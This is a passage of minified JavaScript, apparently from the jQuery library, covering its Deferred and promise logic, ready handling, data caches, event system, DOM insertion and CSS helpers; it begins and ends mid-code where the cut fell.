n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(s,u))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,I,i),a(o,n,W,i)):(o++,l.call(e,a(o,n,I,i),a(o,n,W,i),a(o,n,I,n.notifyWith))):(r!==I&&(s=void 0,u=[e]),(i||n.resolveWith)(s,u))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},X=/^-ms-/,U=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function G(e){return e.replace(X,"ms-").replace(U,V)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Q(){this.expando=w.expando+Q.uid++}Q.uid=1,Q.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var J=new Q,K=new Q,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}K.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return K.hasData(e)||J.hasData(e)},data:function(e,t,n){return K.access(e,t,n)},removeData:function(e,t){K.remove(e,t)},_data:function(e,t,n){return J.access(e,t,n)},_removeData:function(e,t){J.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=K.get(o),1===o.nodeType&&!J.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=G(r.slice(5)),ne(o,r,i[r]));J.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){K.set(this,e)}):z(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=K.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){K.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=J.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},se=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function ue(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return w.css(e,t,"")},u=s(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+u)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=J.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",J.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n<r;n++)J.set(e[n],"globalEval",!t||J.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))w.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+w.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;w.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n<arguments.length;n++)u[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){s=w.event.handlers.call(this,t,l),n=0;while((o=s[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,u))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Se()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===Se()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&N(this,"input"))return this.click(),!1},_default:function(e){return N(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:ke,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:ke,isPropagationStopped:ke,isImmediatePropagationStopped:ke,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Te.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return De(this,e,t,n,r)},one:function(e,t,n,r){return De(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=ke),this.each(function(){w.event.remove(this,e,n,t)})}});var Ne=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/<script|<style|<link/i,je=/checked\s*(?:[^=]|=\s*.checked.)/i,qe=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}K.hasData(e)&&(s=K.access(e),u=w.extend({},s),K.set(t,u))}}function Me(e,t){var n=t.nodeName.toLowerCase();"input"===n&&pe.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,s,u,l,c,f=0,p=e.length,d=p-1,y=t[0],v=g(y);if(v||p>1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f<p;f++)l=i,f!==d&&(l=w.clone(l,!0,!0),u&&w.merge(s,ye(l,"script"))),n.call(e[f],l,f);if(u)for(c=s[s.length-1].ownerDocument,w.map(s,Oe),f=0;f<u;f++)l=s[f],he.test(l.type||"")&&!J.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(qe,""),c,l))}return e}function Ie(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ye(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ve(ye(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(Ne,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r<i;r++)Me(o[r],a[r]);if(t)if(n)for(o=o||ye(e),a=a||ye(s),r=0,i=o.length;r<i;r++)Pe(o[r],a[r]);else Pe(e,s);return(a=ye(s,"script")).length>0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ye(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ye(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),s.apply(r,n.get());return this.pushStack(r)}});var We=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),$e=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},Be=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",be.appendChild(l).appendChild(c);var t=e.getComputedStyle(c);i="1%"!==t.top,u=12===n(t.marginLeft),c.style.right="60%",s=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",be.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,s,u,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),s},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),u},scrollboxSize:function(){return t(),a}}))}();function Fe(e,t,n){var r,i,o,a,s=e.style;return(n=n||$e(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&We.test(a)&&Be.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function _e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var ze=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ue={position:"absolute",visibility:"hidden",display:"block"},Ve={letterSpacing:"0",fontWeight:"400"},Ge=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Qe(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Ge.length;while(n--)if((e=Ge[n]+t)in Ye)return e}function Je(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Qe(e)||e),t}function Ke(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(u-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(u-=w.css(e,"border"+oe[a]+"Width",!0,i))):(u+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?u+=w.css(e,"border"+oe[a]+"Width",!0,i):s+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return 